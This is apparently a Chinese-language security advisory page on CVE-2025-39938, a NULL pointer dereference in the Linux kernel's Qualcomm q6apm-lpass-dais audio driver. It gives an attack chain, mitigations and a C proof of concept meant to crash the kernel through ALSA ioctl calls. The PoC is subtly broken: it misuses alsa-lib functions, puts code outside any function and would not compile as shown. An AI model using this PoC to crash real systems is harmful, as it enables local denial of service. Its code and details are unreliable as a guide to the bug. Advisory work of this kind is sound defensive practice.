IPBUF安全漏洞报告
English
CVE-2025-39938 CVSS 5.5 中危

CVE-2025-39938 Linux内核ASoC q6apm驱动空指针解引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39938
漏洞类型
空指针解引用(NULL Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (ASoC qcom q6apm-lpass-dais驱动)

相关标签

空指针解引用Linux KernelASoC高通q6apm-lpass-dais本地拒绝服务内核漏洞音频驱动DoSNULL Pointer Dereference

漏洞概述

CVE-2025-39938是Linux内核ASoC(ALSA System on Chip)子系统中高通(Qualcomm)q6apm-lpass-dais驱动存在的一个空指针解引用漏洞。该漏洞位于q6apm_lpass_dai_prepare()函数中,当源图(source graph)打开失败时(例如ADSP因audioreach拓扑配置错误而拒绝请求),图会被关闭并将dai_data->graph[dai->id]赋值为NULL。然而,代码并未检查该NULL状态就继续为sink图准备DAI,当再次调用q6apm_lpass_dai_prepare()时,传入的dai_data->graph[dai->id]为NULL,导致内核空指针解引用异常,从而引发系统崩溃(Kernel Panic)。该漏洞的CVSS评分为5.5,属于中危级别,攻击者需要本地低权限访问即可触发,但无需用户交互,成功利用后将导致系统可用性完全丧失(内核崩溃),但不影响机密性和完整性。受影响的代码路径涉及q6apm_graph_media_format_pcm、q6apm_lpass_dai_prepare、snd_soc_pcm_dai_prepare等多个内核函数调用链,主要影响使用高通音频处理模块(APM)的嵌入式设备和移动设备。

技术细节

该漏洞的根本原因是q6apm-lpass-dais驱动在处理DAI(Digital Audio Interface)准备操作时缺少对graph指针的有效性检查。具体技术细节如下:

1. 当应用程序通过ALSA框架触发音频播放时,内核会调用snd_soc_pcm_dai_prepare()准备PCM DAI;
2. 该函数进一步调用q6apm_lpass_dai_prepare(),该函数访问dai_data->graph[dai->id]来获取音频图对象;
3. 如果在此之前打开源图的操作失败(例如ADSP返回错误码0x0100102/1001002),graph会被关闭并设置为NULL;
4. 代码没有检查graph是否为NULL就直接调用q6apm_graph_media_format_pcm(),该函数在偏移0xa8处访问graph成员;
5. 由于graph为NULL,访问0xa8偏移处的内容导致内核空指针解引用(virtual address 00000000000000a8);
6. 内核触发oops或panic,系统崩溃。

利用条件:攻击者需要本地低权限访问系统,能够触发音频播放并构造导致ADSP返回错误的audioreach拓扑配置,即可使系统崩溃。该漏洞属于本地拒绝服务(DoS)类型漏洞。

攻击链分析

STEP 1
步骤1:本地访问
攻击者需要拥有目标系统的本地低权限访问权限,能够与音频子系统交互
STEP 2
步骤2:构造恶意音频配置
攻击者通过ALSA接口配置无效的音频参数或audioreach拓扑,导致ADSP(音频数字信号处理器)拒绝打开源图(source graph),返回错误码0x0100102
STEP 3
步骤3:触发图关闭
源图打开失败后,内核代码关闭graph并将dai_data->graph[dai->id]赋值为NULL
STEP 4
步骤4:触发DAI准备
应用程序继续调用PCM PREPARE操作,触发snd_soc_pcm_dai_prepare(),进而调用q6apm_lpass_dai_prepare()
STEP 5
步骤5:空指针解引用
q6apm_lpass_dai_prepare()未检查graph是否为NULL就调用q6apm_graph_media_format_pcm(),访问NULL指针偏移0xa8处,触发内核空指针解引用异常
STEP 6
步骤6:系统崩溃
内核触发oops或panic,系统完全崩溃,导致拒绝服务(DoS)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-39938 PoC - Trigger NULL pointer dereference in q6apm-lpass-dais // This PoC triggers the vulnerability by configuring an invalid audioreach topology // that causes ADSP to reject the graph open, then attempts to prepare the DAI. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sound/asound.h> // Step 1: Open PCM device for Qualcomm ASoC platform int pcm_fd = open("/dev/snd/pcmC0D0p", O_WRONLY); if (pcm_fd < 0) { perror("Failed to open PCM device"); exit(1); } // Step 2: Configure invalid audio parameters to trigger ADSP rejection // Set up PCM hardware parameters with invalid audioreach topology struct snd_pcm_hw_params params; memset(&params, 0, sizeof(params)); // Use unsupported format/rate that will cause ADSP to reject the graph snd_pcm_hw_params_set_access(pcm_fd, params, SND_PCM_ACCESS_RW_INTERLEAVED); snd_pcm_hw_params_set_format(pcm_fd, params, SND_PCM_FORMAT_S24_LE); snd_pcm_hw_params_set_channels(pcm_fd, params, 8); // Invalid channel count snd_pcm_hw_params_set_rate(pcm_fd, params, 192000, 0); // High rate // Step 3: Apply parameters - this will trigger source graph open int ret = ioctl(pcm_fd, SNDRV_PCM_IOCTL_HW_PARAMS, &params); if (ret < 0) { printf("HW_PARAMS failed (expected): %s\n", strerror(errno)); } // Step 4: Prepare the PCM - triggers q6apm_lpass_dai_prepare() with NULL graph // This call will access dai_data->graph[dai->id] which is NULL // causing kernel NULL pointer dereference at offset 0xa8 ret = ioctl(pcm_fd, SNDRV_PCM_IOCTL_PREPARE, 0); if (ret < 0) { printf("PREPARE failed: %s\n", strerror(errno)); } // At this point, the kernel should have crashed due to NULL pointer dereference // Error messages expected: // qcom-apm gprsvc:service:2:1: Error (1) Processing 0x01001002 cmd // qcom-apm gprsvc:service:2:1: DSP returned error[1001002] 1 // q6apm-lpass-dais: fail to start APM port 78 // Unable to handle kernel NULL pointer dereference at virtual address 00000000000000a8 // Call trace: q6apm_graph_media_format_pcm+0x48/0x120 (P) // q6apm_lpass_dai_prepare+0x110/0x1b4 close(pcm_fd); return 0;

影响范围

Linux Kernel < 6.6 (包含q6apm-lpass-dais驱动的版本)
Linux Kernel 6.6.x (部分版本)
Linux Kernel 6.10.x (部分版本)
Linux Kernel 6.11.x (部分版本)
Linux Kernel 6.12.x (部分版本)
Linux Kernel 6.15.x (部分版本)
Linux Kernel 6.16.x (部分版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对音频设备(/dev/snd/*)的访问权限,仅允许可信用户访问;2)在系统启动参数中添加slub_debug=FZP等内核调试选项以检测早期空指针解引用;3)使用cgroup或其他沙箱机制限制应用程序的音频设备访问能力;4)监控内核日志中是否出现"Error (1) Processing 0x01001002 cmd"等异常错误,及时发现潜在攻击行为;5)部署系统监控和自动重启机制,在内核panic后能快速恢复服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表